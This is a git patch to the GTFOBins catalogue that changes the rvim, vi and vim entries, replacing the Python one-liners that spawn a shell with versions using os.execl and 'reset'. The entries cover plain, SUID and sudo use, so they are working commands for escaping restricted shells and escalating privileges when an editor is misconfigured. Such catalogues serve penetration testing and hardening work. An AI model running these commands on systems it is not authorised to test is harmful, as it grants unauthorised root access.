From ed9363fe2d95d65c9ba321678eaa943e6060d360 Mon Sep 17 00:00:00 2001
From: Andrea Cardaci <cyrus.and@gmail.com>
Date: Mon, 3 Dec 2018 15:43:38 +0100
Subject: [PATCH] Fix broken shells in vi

Related to #39.
---
 _gtfobins/rvim.md | 6 +++---
 _gtfobins/vi.md   | 4 ++--
 _gtfobins/vim.md  | 4 ++--
 3 files changed, 7 insertions(+), 7 deletions(-)

diff --git a/_gtfobins/rvim.md b/_gtfobins/rvim.md
index 35554d1..75e7eab 100644
--- a/_gtfobins/rvim.md
+++ b/_gtfobins/rvim.md
@@ -2,7 +2,7 @@
 functions:
   shell:
     - description: This requires that rvim is compiled with Python support.
-      code: rvim -c ':py import os;os.system("sh")'
+      code: rvim -c ':py import os; os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
   file-write:
     - description: This requires that rvim is compiled with Python support.
       code: |
@@ -14,8 +14,8 @@ functions:
     - code: rvim file_to_read
   suid:
     - description: This requires that rvim is compiled with Python support.
-      code: ./rvim -c ':py import os;os.system("sh")'
+      code: ./rvim -c ':py import os; os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
   sudo:
     - description: This requires that rvim is compiled with Python support.
-      code: sudo rvim -c ':py import os;os.system("sh")'
+      code: sudo rvim -c ':py import os; os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
 ---
diff --git a/_gtfobins/vi.md b/_gtfobins/vi.md
index 9820ee7..719b997 100644
--- a/_gtfobins/vi.md
+++ b/_gtfobins/vi.md
@@ -7,7 +7,7 @@ functions:
         :set shell=/bin/sh
         :shell
     - description: This requires that vi is compiled with Python support.
-      code: vi -c ':py import os;os.system("sh")'
+      code: vi -c ':py import os; os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
   file-write:
     - code: |
         vi file_to_write
@@ -21,5 +21,5 @@ functions:
   sudo:
     - code: sudo vi -c ':!/bin/sh'
     - description: This requires that vi is compiled with Python support.
-      code: sudo vi -c ':py import os;os.system("sh")'
+      code: sudo vi -c ':py import os; os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
 ---
diff --git a/_gtfobins/vim.md b/_gtfobins/vim.md
index d3c9a9d..e26f56b 100644
--- a/_gtfobins/vim.md
+++ b/_gtfobins/vim.md
@@ -7,7 +7,7 @@ functions:
         :set shell=/bin/sh
         :shell
     - description: This requires that vim is compiled with Python support.
-      code: vim -c ':py import os;os.system("sh")'
+      code: vim -c ':py import os; os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
   file-write:
     - code: |
         vim file_to_write
@@ -20,6 +20,6 @@ functions:
     - code: ./vim -c ':!/bin/sh -p'
   sudo:
     - code: sudo vim -c ':!/bin/sh'
-    - code: sudo vim -c ':py import os;os.system("sh")'
+    - code: sudo vim -c ':py import os; os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
       description: This requires that vim is compiled with Python support.
 ---